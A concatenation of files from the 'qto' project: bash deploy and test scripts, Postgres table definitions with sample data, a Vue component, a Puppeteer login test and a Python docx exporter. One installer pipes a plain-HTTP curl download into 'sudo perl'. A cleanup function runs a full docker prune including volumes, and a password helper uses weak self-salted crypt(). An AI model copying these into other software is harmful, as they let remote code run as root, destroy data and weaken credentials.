do_logTestRunEntry INFO "$msg" # do_logTestRunEntry STOP $exit_code "$msg" # do_logTestRunEntry STATUS # --------------------------------------------------------- do_logTestRunEntry(){ do_log "DEBUG START do_logTestRunEntry" case "$1" in INIT) # cat doc/txt/qto/funcs/log-test-run-entry.func.txt component_name=$RUN_UNIT test -z "$component_name" && component_name="$RUN_UNIT_tester" test -z "$test_run_report_line" && test_run_report_line=' ' test -z "$test_run_report_file" \ && test_run_report_file="$PRODUCT_DIR/dat/tests/$component_name"'.test-run-report.'`date "+%Y%m%d_%H%M%S"`'.txt' echo -e "\n" > "$test_run_report_file" echo -e `date "+%Y-%m-%d %H:%M:%S"`"\t START $component_name test run report \n" >> "$test_run_report_file" echo "result start-time stop-time action-name" >> "$test_run_report_file" shift; ;; START) test_run_report_line=' nok ' shift; ;; INFO) shift; test_run_report_line="$test_run_report_line""$*" ;; STOP) shift; exit_code=$1 if test "$exit_code" -eq 0; then test_run_report_line=$(echo "$test_run_report_line"|perl -ne 's/ nok / ok /g;print') fi echo -e "$test_run_report_line" >> "$test_run_report_file" ;; STATUS) echo -e "\n\n" echo -e "\n\n" >> "$test_run_report_file" echo -e `date "+%Y-%m-%d %H:%M:%S"`"\t STOP $component_name test run report" >> "$test_run_report_file" cat "$test_run_report_file" echo -e "\n\n" # do_log "product instance tests listing" # find "$PRODUCT_DIR"'/dat/tests' -type f -exec stat -c "%y %n" {} \; | sort -nr echo -e "\n\n" ;; *) echo $"Usage: $0 {START|STOP|INFO|STATUS}" 1>&2 esac do_log "DEBUG STOP do_logTestRunEntry" } # eof func do_logTestRunEntry # eof file: src/bash/qto/funcs/log-test-run-entry.func.sh <file_sep>#!/usr/bin/env bash # how RATIONAL is to add code which introduces regression bugs !? clear ; ./src/bash/qto/qto.sh -a run-unit-tests clear ; ./src/bash/qto/qto.sh -a run-functional-tests # scramble the secrets into random hashes clear ; ./src/bash/qto/qto.sh -a scramble-confs git update-index --assume-unchanged cnf/env/dev.env.json git update-index --assume-unchanged cnf/env/tst.env.json git update-index --assume-unchanged cnf/env/prd.env.json # update the meta include file for each env from the dev env for env in `echo dev tst prd` ; do cp -v met/.dev.qto met/.$env.qto ; done ; <file_sep>#!/usr/bin/env bash main(){ do_set_vars "$@" # is inside, unless --help flag is present ts=$(date "+%Y%m%d_%H%M%S") main_log_dir=~/var/log/$RUN_UNIT/; mkdir -p $main_log_dir main_exec "$@" \ > >(tee $main_log_dir/$RUN_UNIT.$ts.out.log) \ 2> >(tee $main_log_dir/$RUN_UNIT.$ts.err.log) } main_exec(){ do_resolve_os do_check_install_min_req_bins do_load_functions test -z ${actions:-} || { do_run_actions "$actions" } do_finalize } #------------------------------------------------------------------------------ # the "reflection" func - identify the the funcs per file #------------------------------------------------------------------------------ get_function_list () { env -i PATH=/bin:/usr/bin:/usr/local/bin bash --noprofile --norc -c ' source "'"$1"'" typeset -f | grep '\''^[^{} ].* () $'\'' | awk "{print \$1}" | while read -r fnc_name; do type "$fnc_name" | head -n 1 | grep -q "is a function$" || continue echo "$fnc_name" done ' } do_read_cmd_args() { while [[ $# -gt 0 ]]; do case "$1" in -a|--actions) shift && actions="${actions:-}${1:-} " && shift ;; -h|--help) actions=' do_print_usage ' && ENV=lde && shift ;; *) echo FATAL unknown "cmd arg: '$1' - invalid cmd arg, probably a typo !!!" && shift && exit 1 esac done shift $((OPTIND -1)) } do_run_actions(){ actions=$1 cd $PRODUCT_DIR actions="$(echo -e "${actions}"|sed -e 's/^[[:space:]]*//')" #or how-to trim leading space run_funcs='' while read -d ' ' arg_action ; do while read -r fnc_file ; do #debug func fnc_file:$fnc_file while read -r fnc_name ; do #debug fnc_name:$fnc_name action_name=`echo $(basename $fnc_file)|sed -e 's/.func.sh//g'` action_name=`echo do_$action_name|sed -e 's/-/_/g'` # debug action_name: $action_name test "$action_name" != "$arg_action" && continue source $fnc_file test "$action_name" == "$arg_action" && run_funcs="$(echo -e "${run_funcs}\n$fnc_name")" done< <(get_function_list "$fnc_file") done < <(find "src/bash/run/" -type f -name '*.func.sh'|sort) done < <(echo "$actions") run_funcs="$(echo -e "${run_funcs}"|sed -e 's/^[[:space:]]*//;/^$/d')" while read -r run_func ; do cd $PRODUCT_DIR do_log "INFO START ::: running action :: $run_func" $run_func if [[ "${exit_code:-}" != "0" ]]; then do_log "FATAL failed to run action: $run_func !!!" exit $exit_code fi do_log "INFO STOP ::: running function :: $run_func" done < <(echo "$run_funcs") } do_flush_screen(){ # printf "\033[2J";printf "\033[0;0H" echo "" } #------------------------------------------------------------------------------ # echo pass params and print them to a log file and terminal # usage: # do_log "INFO some info message" # do_log "DEBUG some debug message" #------------------------------------------------------------------------------ do_log(){ type_of_msg=$(echo $*|cut -d" " -f1) msg="$(echo $*|cut -d" " -f2-)" log_dir="${PRODUCT_DIR:-}/dat/log/bash" ; mkdir -p $log_dir log_file="$log_dir/${RUN_UNIT:-}.`date "+%Y%m%d"`.log" echo " [$type_of_msg] `date "+%Y-%m-%d %H:%M:%S %Z"` [${RUN_UNIT:-}][@${host_name:-}] [$$] $msg " | \ tee -a $log_file } do_check_install_min_req_bins(){ which perl > /dev/null 2>&1 || { run_os_func install_bins perl } which jq > /dev/null 2>&1 || { run_os_func install_bins jq } which make > /dev/null 2>&1 || { # this will not work properly - google how-to install make on <<my-operating-system>> run_os_func install_bins make } } do_set_vars(){ set -u -o pipefail do_read_cmd_args "$@" # test $? -eq "0" && export exit_code='0' export exit_code=1 # assume failure for each action, enforce return code usage export host_name="$(hostname -s)" unit_run_dir=$(perl -e 'use File::Basename; use Cwd "abs_path"; print dirname(abs_path(@ARGV[0]));' -- "$0") export RUN_UNIT=$(cd $unit_run_dir/../../.. ; basename `pwd`) export PRODUCT_DIR=$(cd $unit_run_dir/../../.. ; echo `pwd`) ENV="${ENV:=lde}" # https://stackoverflow.com/a/2013589/65706 valid_envs=("lde dev prd stg all") [[ " ${valid_envs[*]} " =~ " ${ENV} " ]] || { echo -e "ENV must be one of the following : \n export ENV={lde dev stg prd all}" && exit 1 } cd $PRODUCT_DIR # workaround for github actions running on docker test -z ${GROUP:-} && export GROUP=$(id -gn) test -z ${GROUP:-} && export GROUP=$(ps -o group,supgrp $$|tail -n 1|awk '{print $1}') test -z ${USER:-} && export USER=$(id -un) test -z ${UID:-} && export UID=$(id -u) test -z ${GID:-} && export GID=$(id -g) } do_finalize(){ # do_flush_screen cat << EOF_FIN_MSG ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: $RUN_UNIT run completed ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: EOF_FIN_MSG } do_load_functions(){ while read -r f; do source $f; done < <(ls -1 $PRODUCT_DIR/lib/bash/funcs/*.sh) while read -r f; do source $f; done < <(ls -1 $PRODUCT_DIR/src/bash/run/*.func.sh) } run_os_func(){ func_to_run=$1 ; shift ; if [ $(uname -s) == *"Linux"* ]; then distro=$(cat /etc/os-release|egrep '^ID='|cut -d= -f2) if [ $distro == "ubuntu" ] || [ $distro == "pop" ]; then "do_ubuntu_""$func_to_run" "$@" elif [ $distro == "alpine" ]; then "do_alpine_""$func_to_run" "$@" else echo "your Linux distro is not supported !!!" fi elif [ $(uname -s) == *"Linux"* ]; then echo "you are running on mac" "do_mac_""$func_to_run" "$@" fi } do_resolve_os(){ if [ $(uname -s) == *"Linux"* ]; then distro=$(cat /etc/os-release|egrep '^ID='|cut -d= -f2) if [ $distro == "ubuntu" ] || [ $distro == "pop" ]; then export OS=ubuntu elif [ $distro == "alpine" ]; then export OS=alpine else echo "your Linux distro is not supported !!!" fi elif [ $(uname -s) == *"Darwin"* ]; then export OS=mac fi } main "$@" <file_sep>#!/bin/bash do_alpine_chk_install_perl_modules(){ cd $PRODUCT_DIR modules="$(cat bin/cnf/perl/qto-app-perl-modules.lst)" while read -r module ; do use_modules="${use_modules:-} use $module ; " done < <(echo "$modules"); set -x perl -e "$use_modules" || { echo "deploying modules. This WILL take couple of min, but ONLY ONCE !!!" curl -L http://cpanmin.us | sudo perl - --self-upgrade -l ~/perl5 App::cpanminus \ && sudo chown -R $APPUSR:$APPGRP ~/.cpanm && sudo chown -R $APPUSR:$APPGRP ~/perl5 ~/perl5/bin/cpanm --local-lib=~/perl5 local::lib && eval $(perl -I ~/perl5/lib/perl5/ -Mlocal::lib) curl -L cpanmin.us | perl - Mojolicious test "$(grep -c 'Mlocal::lib' ~/.bashrc|xargs)" -eq 0 && \ echo 'eval $(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc while read -r module ; do cpanm_modules="${cpanm_modules:-} $module " ; done < <(echo "$modules") #cpanm --force --local-lib=~/perl5 'Net::Google::DataAPI' # does not install otherwise !!! # probably not needed as all google related modules are out of the setup ^^^ cmd="cpanm --local-lib=~/perl5 $modules" $cmd # nasty workaround for the "Moo complainings" in the Net::Google::DataAPI::Oauth2 module find ~ -type f -name OAuth2.pm -exec perl -pi -e \ "s/use Any::Moose;/no warnings 'deprecated'; use Any::Moose; use warnings 'deprecated';/g" {} \; } set +x # create the symlink to the hypnotoad export tgt_path=$HOME/perl5/bin/hypnotoad export link_path=/usr/local/sbin/hypnotoad sudo mkdir -p `dirname $link_path` sudo test -L $link_path && unlink $link_path sudo ln -s $tgt_path $link_path ls -la $link_path; export exit_code=0 } <file_sep>// src: https://stackoverflow.com/a/47181562/65706 Vue.component('editable', { template: ` <div v-bind:id="id" contenteditable="true" @blur="emitChange"> {{ content }} </div> `, props: ['content','id'], methods: { emitChange (ev) { this.$emit('update', ev.target.textContent,ev.target.id) } } }) new Vue({ el: '#app', data: { herobanner: { headline: 'Parent is updated on blur event, so click outside this text to update it.' , id: "12" } }, methods: { async loadJson () { var response = await fetch('https://swapi.co/api/people/1') var hero = await response.json() this.herobanner.headline = hero.name }, updateHeadline (content,id) { this.herobanner.headline = content console.log ( "new content: " + content ) console.log ( "with id: " + id ) } } }) <file_sep>/** usage: clear ; cd src/js/node/pp-ui-tests ; npm test ; cd - ; */ 'use strict'; const puppeteer = require('puppeteer'); const path = require('path') async function main(){ const browser = await puppeteer.launch({headless: false}); try { var ConfFile = getProductInstanceDir() + "cnf/env/dev.env.json"; var json = require(ConfFile); const page = await browser.newPage(); await page.setViewport({width: 1200, height: 720}) await testLogin(json.env, page); await testViewDoc(json.env,page) } catch (error) { console.log(error); } finally { await browser.close(); } } async function testLogin(env,page) { var url = env.app.ht_protocol + '://' + env.app.web_host + ':' + env.app.mojo_morbo_port + '/qto/login'; await page.goto(url, { waitUntil: 'networkidle0' }); // wait until await page.type('#email', '<EMAIL>'); //await page.type('#pass', '<PASSWORD>'); await page.waitFor(1000); await Promise.all([ page.click('#butLogin'), page.waitForNavigation({ waitUntil: 'networkidle0' }), ]); } async function testViewDoc(env,page) { var uri = env.app.ht_protocol + '://' + env.app.web_host + ':' + env.app.mojo_morbo_port + '/qto/view/test_hierarchy_doc'; await page.goto(uri, { waitUntil: 'networkidle0' }); //await page.type('#inp_srch_box', 'name-01'); //test quick search await page.waitFor(1000); page.click('#div_open_rgt_menu'); //test thie open right menu action await page.waitFor(1000); await page.$$eval('a.cls-context-menu-link', elHandles => elHandles.forEach(el => el.click())) //nopeawait page.$$eval('a.cls-context-menu-link', elHandles => elHandles.forEach(el => el.click({button: 'right',delay: 1000,}))) // todo:right click the test_hierarchy_doc-8 page.click('#div_open_rgt_menu'); //test the close right menu action page.waitFor(1000); await page.waitFor(3000); } function getProductInstanceDir(){ return path.join(path.dirname(__filename), '../../../../../'); } describe('view doc page tests', function () { it(`should - open the login page, login - open the view-doc page, - open the right menu - click on all the num order links - close the right menu` , async function () { main(); }); }); function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)); } <file_sep>escape(){ echo "$1"|perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"' } unescape(){ echo "$1"|perl -MURI::Escape -ne 'chomp;print uri_unescape($_),"\n"' } encrypt_pass(){ echo "$1"| perl -ne '$_=crypt($_,$_); s/[#\-%&\$*+()\/]//g; print substr (sprintf("%s%s", $_ ,"56!"), 8, 10, "")' } <file_sep># src/bash/qto/funcs/build-docker-image.test.sh # v1.0.9 # --------------------------------------------------------- # todo: add doTestBuildQtoDockerImage comments ... # cat doc/txt/qto/tests/build-docker-image.test.txt # --------------------------------------------------------- doTestBuildQtoDockerImage(){ do_log "DEBUG START doTestBuildQtoDockerImage" # Action !!! bash "$PRODUCT_DIR/src/bash/qto/qto.sh" -a build-docker-image do_log "DEBUG STOP doTestBuildQtoDockerImage" } # eof func doTestBuildQtoDockerImage # eof file: src/bash/qto/funcs/build-docker-image.test.sh <file_sep>#!/usr/bin/env bash main(){ do_set_vars "$@" # is inside, unless --help flag is present deploy_step_funcs=( do_load_functions # do_chk_sudo_rights # do_chk_setup_bash # do_chk_install_os_packages # do_chk_install_postgres # do_chk_install_perl_modules # do_chk_install_python_modules # do_chk_install_redis do_scramble_confs # do_chk_provision_postgres # do_chk_provision_db_users # do_create_app_db # do_run_ddls # do_create_app_user # do_configure_aws_keys # do_create_ssh_keys # do_chk_install_python_modules # do_chk_install_nginx # do_chk_provision_nginx # do_add_dns # do_change_file_permissions # do_sync_time # do_chk_install_terraform # do_chk_install_phantom_js do_finalize ) counter=0; for i in ${!deploy_step_funcs[*]} do ((counter+=1)) run_step=`echo ${deploy_step_funcs[$i]}|cut -c 4-` do_log "INFO START $run_step" printf "$counter/${#deploy_step_funcs[*]} $run_step \n\n"; ${deploy_step_funcs[$i]} do_log "INFO STOP $run_step" sleep 1 ; do_flush_screen done } do_flush_screen(){ printf "\033[2J";printf "\033[0;0H" } #------------------------------------------------------------------------------ # echo pass params and print them to a log file and terminal # usage: # do_log "INFO some info message" # do_log "DEBUG some debug message" #------------------------------------------------------------------------------ do_log(){ type_of_msg=$(echo $*|cut -d" " -f1) msg="$(echo $*|cut -d" " -f2-)" [[ -t 1 ]] && echo " [$type_of_msg] `date "+%Y-%m-%d %H:%M:%S %Z"` [$run_unit][@$host_name] [$$] $msg " log_dir="$PRODUCT_DIR/dat/log/bash" ; mkdir -p $log_dir && log_file="$log_dir/$run_unit.`date "+%Y%m"`.log" printf " [$type_of_msg] `date "+%Y-%m-%d %H:%M:%S %Z"` [$run_unit][@$host_name] [$$] $msg " >> $log_file } do_set_vars(){ set -eu -o pipefail export run_unit=${1:-qto} maybe_echo=${2:-} || '' export host_name="$(hostname -s)" unit_run_dir=$(perl -e 'use File::Basename; use Cwd "abs_path"; print dirname(abs_path(@ARGV[0]));' -- "$0") export PRODUCT_DIR=$(cd $unit_run_dir/../../../../..; echo `pwd`) bash_opts_file=~/.bash_opts.`hostname -s` cd $PRODUCT_DIR } usage_info(){ # if $run_unit is --help, then message will be "--help deployer PURPOSE" cat << EOF_USAGE ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: qto deployer PURPOSE: to create the qto backend base image from an Ubuntu 18.04 with a single shell call by deploying and configuring : - OS packages and utils - Perl and Python modules - NodeJS runtime and npm modules - Postgres db enginge ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: EOF_USAGE do_exit 0 'usage displayed' } do_chk_sudo_rights(){ printf "\nChecking sudo rights.\n\n" msg='is not allowed to run sudo' test $(sudo -l -U $USER 2>&1 | grep -c "$msg") -eq 1 && echo "$USER $msg !!!" && exit 1 printf "OK\n" } do_sync_time(){ printf "\nSynchronising time.\n\n" # note ntpdate is deprecated : https://askubuntu.com/a/998449/251228 sudo apt-get install -y ntp sudo timedatectl set-ntp on sudo service ntp restart sudo service ntp status | cat } do_add_dns(){ if [[ ! "grep -q 'nameserver 8.8.8.8' /etc/resolv.conf" ]] ; # skip adding, if resolve.conf already contains 8.8.8.8 then printf "\nAdding DNS to /etc/resolv.conf\n\n" set -x cat << EOF_ADD_DNS | sudo tee -a /etc/resolv.conf > /dev/null nameserver 8.8.8.8 nameserver 8.8.4.4 EOF_ADD_DNS fi } do_load_functions(){ while read -r f; do source $f; done < <(ls -1 $PRODUCT_DIR/lib/bash/funcs/*.sh) export -f do_flush_screen export -f do_export_json_section_vars while read -r f; do source $f; done < <(ls -1 $PRODUCT_DIR/src/bash/qto/deploy/single-ubuntu-18.04/*func.sh) } do_change_file_permissions(){ find $PRODUCT_DIR -type f -name '*.sh' -exec chmod 770 {} \; } do_finalize(){ set +x do_flush_screen cat << EOF_INIT_MSG ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: qto binary deployment completed successfully. Continue by : ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: EOF_INIT_MSG } # ------------------------------------------------------------------------------ # clean and exit with passed status and message # call by: # do_exit 0 "ok msg" # do_exit 1 "NOK msg" # ------------------------------------------------------------------------------ do_exit(){ exit_code=$1 ; shift exit_msg="$*" if (( ${exit_code:-} != 0 )); then exit_msg=" ERROR --- exit_code $exit_code --- exit_msg : $exit_msg" >&2 printf "$exit_msg" do_log "FATAL STOP FOR $run_unit deployer RUN with: " do_log "FATAL exit_code: $exit_code exit_msg: $exit_msg" else do_log "INFO STOP FOR $run_unit deployer RUN with: " do_log "INFO STOP FOR $run_unit deployer RUN: $exit_code $exit_msg" fi exit $exit_code } main "$@" <file_sep>---- DROP TABLE IF EXISTS export_files ; SELECT 'create the "export_files" table' ; CREATE TABLE export_files ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , url varchar (200) NOT NULL DEFAULT 'url...' , path varchar (50) NULL DEFAULT 'rel-path-from-doc-root' , name varchar (100) NOT NULL DEFAULT 'the-export-file-name' , description varchar (200) NOT NULL DEFAULT 'description...' , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_export_files_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_export_files_uniq_id on export_files (id); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.export_files'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; --The trigger: CREATE TRIGGER trg_set_update_time_on_export_files BEFORE UPDATE ON export_files FOR EACH ROW EXECUTE PROCEDURE fnc_set_update_time(); SELECT tgname FROM pg_trigger WHERE NOT tgisinternal AND tgrelid = 'export_files'::regclass; <file_sep># file: src/bash/qto/funcs/full-clean-docker.sh # v0.6.5 # --------------------------------------------------------- # clean totally the docker runtime # --------------------------------------------------------- doFullCleanDocker(){ do_flush_screen do_log "INFO START full clean of docker !!! " do_log "INFO Are you SURE ??!! You have 3 seconds to abort by Ctrl + C !!" sleep 3 docker system prune -f -a --volumes docker image prune -f docker container prune -f docker volume prune -f docker network prune -f do_log "INFO STOP full clean of the docker" } # eof file: src/bash/qto/funcs/full-clean-docker.sh <file_sep> do_chk_install_ubuntu_packages(){ packages_list_file="$product_dir/src/bash/deployer/$app_to_deploy/cnf/bin/ubuntu-18.04.lst" err_msg="the packages list file: $packages_list_file does not exist !" test -f $packages_list_file || do_exit 1 "$err_msg" packages="$(cat $packages_list_file)" sudo apt-get update # sudo apt-get upgrade # probably not a good idea, but if yes ... this is the place ... while read -r package ; do test "$(sudo dpkg -s $package | grep Status)" == "Status: install ok installed" || { $maybe_echo sudo apt-get install -y $package } done < <(echo "$packages"); } <file_sep>doRestartPostgres(){ test -z ${USER:-} && export USER=$(echo $HOME|cut -d'/' -f 3) test `sudo -n -l -U $USER 2>&1 | egrep -c -i "not allowed to run sudo|unknown user"` -eq 0 \ || do_log "FATAL you need to have sudo to run this script !!!" # to prevent the 'failed: could not create socket: Too many open files at sys' error # perl -e 'while(1){open($a{$b++}, "<" ,"/dev/null") or die $b;print " $b"}' to check ulimit -Sn 4096 do_log "INFO start restarting postgres ..." sudo sh /etc/init.d/postgresql restart do_log "INFO stop restarting postgres ..." } <file_sep># src/make/install-dockers.func.mk # only the clean install dockers calls here ... # TODO: figure a more elegant and generic way to avoid this copy paste ... # SHELL = bash PRODUCT := $(shell basename $$PWD) ORG := $(shell export ORG=$${ORG}; echo $${ORG}) .PHONY: clean-install-app ## @-> setup the whole local app environment no cache! clean-install-app: $(call install-img,app,8080,--no-cache) .PHONY: install-app ## @-> setup the whole local app environment no cache! install-app: $(call install-img,app) <file_sep># file: src/bash/qto/funcs/dev/create-ctags.func.sh # v0.8.5 #------------------------------------------------------------------------------ # creates the ctags file for the projet #------------------------------------------------------------------------------ doCreateCtags(){ ctags --help >/dev/null 2>&1 || { do_log "ERROR. ctags is not installed or not in PATH. Aborting." >&2; exit 1; } pushd . cd $PRODUCT_DIR cmd="rm -fv ./tags" && doRunCmdAndLog "$cmd" cmd="ctags -R -n --fields=+i+K+S+l+m+a --exclude=.git --exclude=dat --exclude=*/node_modules/* ." && doRunCmdAndLog "$cmd" cmd="ls -la $PRODUCT_DIR/tags" && doRunCmdAndLog "$cmd" popd } <file_sep>#!/bin/bash # src/bash/qto/funcs/backup-postgres-table.func.sh do_backup_postgres_table(){ test -z ${PROJ_CONF_FILE:-} && export PROJ_CONF_FILE="$PROJ_INSTANCE_DIR/cnf/env/$ENV.env.json" do_export_json_section_vars $PROJ_CONF_FILE '.env.db' pgsql_scripts_dir="$PROJ_INSTANCE_DIR/src/sql/pgsql/ad-hoc" sleep 3 ; do_flush_screen ; test -z ${table:-} && do_exit 1 "no table defined to backup !!!" table="$(echo -e "${table}" | sed -e 's/[[:space:]]*$//')" #or how-to to trin leading space dump_dir=$PROJ_INSTANCE_DIR/dat/mix/$(date "+%Y")/$(date "+%Y-%m")/$(date "+%Y-%m-%d")/tmp mkdir -p $dump_dir || do_exit 1 "cannot create the dump_dir: $dump_dir" dump_file=$dump_dir/${postgres_app_db:-}.${table:-}.$(date "+%Y%m%d_%H%M%S").data.sql echo "start running : pg_dump --verbose --data-only --table public.$table $postgres_app_db " echo -e "\n --file $dump_file \n" # --verbose --data-only --table public.$table $postgres_app_db \ PGPASSWORD="${postgres_sys_usr_admin_pw:-}" pg_dump -U "${postgres_sys_usr_admin:-}" \ -h $postgres_rdbms_host -p $postgres_rdbms_port -w \ --verbose --table public.$table $postgres_app_db \ --file $dump_file perl -pi -e "print \"DROP TABLE public.$table; \n \" if $. == 1" $dump_file echo "stop running : pg_dump --verbose --data-only --table public.$table $postgres_app_db \\" echo -e " --file $dump_file \n" do_log "INFO produced the following file : $(ls -1 $dump_file)" do_log "INFO with the following amount of lines :" wc -l $dump_file echo -e "\n\n" } <file_sep>#!/bin/bash # file: src/bash/run/check-perl-syntax.func.sh do_check_perl_syntax() { export PATH=$PATH:~/perl5/bin/ export PERL5LIB=${PERL5LIB:-}:~/perl5/lib/perl5/:$PRODUCT_DIR/src/perl/qto/t/lib:$PRODUCT_DIR/src/perl/qto/public/lib:$PRODUCT_DIR/src/perl/qto/lib find . -name autosplit.ix | xargs rm -fv # because idempotence declare -a rv rv=0 # foreach perl file check the syntax by setting the correct INC dirs while read -r dir; do echo -e "\n start compiling $dir ..." cd $PRODUCT_DIR/src/perl/$dir # run the autoloader utility find . -name '*.pm' -exec perl -MAutoSplit -e 'autosplit($ARGV[0], $ARGV[1], 0, 1, 1)' {} \; c=0 # feel free to adjust to 5, more might get you the "Out of memory!" error amount_of_perl_syntax_checks_to_run_in_parallel=1 while read -r file; do c=$((c + 1)) test $c -eq $amount_of_perl_syntax_checks_to_run_in_parallel && sleep 1 && export c=0 ( echo -e "\t ::: running: cd src/perl/qto ; perl -MCarp::Always -I $(pwd) -I $(pwd)/lib -wc \"$file\" ; cd -" perl -MCarp::Always -I $(pwd) -I $(pwd)/lib -wc "$file" # rv=$? ; # probably not needed ... better just to spit out the error for the # test $rv -ne 0 && break 2 ; ) & done < <(find "." -type f \( -name "*.pl" -or -name "*.pm" -or -name '*.t' \)) test $rv -ne 0 && break echo -e "stop compiling $dir ... \n\n" cd $PRODUCT_DIR || exit 1 done < <(ls -1 "src/perl") test $rv -ne 0 && do_exit 4 "Perl syntax error" do_flush_screen export exit_code=0 } <file_sep> ---- DROP TABLE IF EXISTS test_empty_table ; SELECT 'create the "test_empty_table" table' ; CREATE TABLE test_empty_table ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , name varchar (200) NOT NULL DEFAULT 'name...' , description varchar (4000) , CONSTRAINT pk_test_empty_table_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.test_empty_table'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; <file_sep>#v1.2.6 #------------------------------------------------------------------------------ # Purpose: # export to_repl=<<the-string-to-replace-with>> #------------------------------------------------------------------------------ doTestMorphDir(){ do_log " INFO START : morph-dir.test" # doSpecMorphDir echo this function should not work without setting the following shell vars echo export dir_to_morph="<<the-dir-to-search-and-replace>>" echo to_srch="<<to_srch>>" echo to_repl="<<to_repl>>" sleep 1 bash src/bash/qto/qto.sh -a morph-dir echo now this test should succeed mkdir -p /tmp/src/bash cp -rv src/bash/qto /tmp/src/bash export dir_to_morph=/tmp/src/bash/qto export to_srch=qto export to_repl=new-app bash src/bash/qto/qto.sh -a morph-dir echo "and check the produced dir" find /tmp/src/bash/new-app -type f do_log " INFO STOP : morph-dir.test" } #eof doMorphDir #eof file: src/bash/qto/tests/dev/morph-dir.test.sh <file_sep>#!/usr/bin/env python3 # usage: python src/python/generate-docx.py requirements_doc . import sys import os import urllib.request, json import docx from docx import Document from docx.shared import Inches table, path, app, db, user, ht_protocol, web_host, web_port = '', '', '', '', '', '', '', '' def main(): set_vars() tableData = getTableData() buildDoc(table,tableData) sys.exit() def set_vars(): try: global table, path, app, db, user, ht_protocol, web_host, web_port table = sys.argv[1] path = str(sys.argv[2] or '.') app = os.environ['postgres_app_db'] db = os.environ['postgres_app_db'] user= os.environ['postgres_app_usr'] ht_protocol = os.environ['ht_protocol'] web_host= os.environ['web_host'] web_port = os.environ['port'] except(IndexError) as error: print (error) traceback.print_stack() sys.exit(1) return def getTableData(): try: url = ht_protocol + "://" + web_host + ":" + web_port + "/" + app + "/hiselect/" + table + "?pg-size=10000&bid=0" with urllib.request.urlopen(url) as url: data = json.loads(url.read().decode()) print(data) except (Exception) as error: print(error) finally: return data['dat'] def buildDoc(table,tableData): doc = Document() #debug print('Loaded {}'.format(tableData)) for row in tableData: print ('row {}'.format(row)) level = 'Heading ' + str(row['level']+1) title = str(row['logical_order'] or '') + " " + row['name'] if row['id'] == 0: doc.add_heading(title, 0) doc.add_section() doc.add_section() else: heading = doc.add_heading( title , row['level']) heading.style = doc.styles[level] p = doc.add_paragraph(row['description']) # https://stackoverflow.com/a/16859266/65706 #if row['img_relative_path']: # ip = document.add_paragraph() # r = p.add_run() # r.add_text(row['img_name']) # r.add_picture('/tmp/foo.jpg') if row['src']: src = doc.add_paragraph(row['src']) src.style = doc.styles['Body Text 3'] full_path=path + "/" + table.replace('_','.').replace('doc','docx') doc.save(full_path) return 0 main() <file_sep>-- DROP TABLE IF EXISTS category ; SELECT 'create the "category" table' ; CREATE TABLE category ( guid UUID NOT NULL DEFAULT gen_random_uuid() , id bigint UNIQUE NOT NULL DEFAULT cast (to_char(current_timestamp, 'YYMMDDHH12MISS') as bigint) , name varchar (100) NOT NULL DEFAULT 'name...' , description varchar (4000) , update_time timestamp DEFAULT DATE_TRUNC('second', NOW()) , CONSTRAINT pk_category_guid PRIMARY KEY (guid) ) WITH ( OIDS=FALSE ); create unique index idx_uniq_category_id on category (id); -- the rank search index CREATE INDEX idx_rank_category ON category USING gin(to_tsvector('English', name || ' ' || description || 'owner')); SELECT 'Display the columns of the just created table' ; SELECT attrelid::regclass, attnum, attname FROM pg_attribute WHERE attrelid = 'public.category'::regclass AND attnum > 0 AND NOT attisdropped ORDER BY attnum ; -- -- TOC entry 3299 (class 0 OID 53411) -- Dependencies: 268 -- Data for Name: category; Type: TABLE DATA; Schema: public; Owner: usrtstqtoadmin -- COPY public.category (guid, id, name, description, update_time) FROM stdin; cb989a12-d0b8-46e4-b2cc-5e2a974b5d29 200226071624 e2e end-to-end 2020-02-27 16:46:24 ed1bde66-694f-4e4d-816f-de594df31f48 200227185617 setup the setup category 2020-02-27 16:46:33 9831b05b-5b54-4926-a08a-ac2b749d7bfb 200227185625 ui The User Interface category 2020-02-27 16:46:47 9791074b-37f3-47b2-9af9-b2645a38e806 200227185640 provisioning The provisioning category 2020-02-27 16:47:39 51c8b189-63f3-46c8-a666-f766b22563d9 200227185731 db The database related activities category 2020-02-27 16:47:57 70724562-d83c-446e-94cf-58ced84f3a0e 200227185858 unknown The "unknown" category 2020-02-27 16:49:17 5b73486a-141f-491f-a2ee-919259151052 200227190115 security The "security" category 2020-02-27 16:51:32 0d9722b9-3fc9-4d55-b6ff-1d9c73ebbbd9 200227190212 testing Related heavily to testing 2020-02-27 16:52:39 aff0a804-f121-404d-b61c-3626eeeb57cc 200227190326 refactoring All the tasks and activities are mainly refactoring related ... 2020-02-27 16:54:01 d049ae30-a13e-4a58-b530-47fe4bf10ea9 200227190501 functionality A technical functionality 2020-02-27 16:55:22 641a8836-dceb-42f8-8eb3-c3e97539a650 200227190531 release Release 2020-02-27 16:55:52 9e6a661c-c70c-4071-a14f-1a2e79b97f00 200227190652 docs Related to documentation creation or update 2020-02-27 16:57:17 3b2b3a79-f778-4978-a2b0-03d02561be84 200227190843 feature The feature category 2020-02-27 16:58:59 \. -- -- TOC entry 3167 (class 2606 OID 53424) -- Name: category category_id_key; Type: CONSTRAINT; Schema: public; Owner: usrtstqtoadmin -- 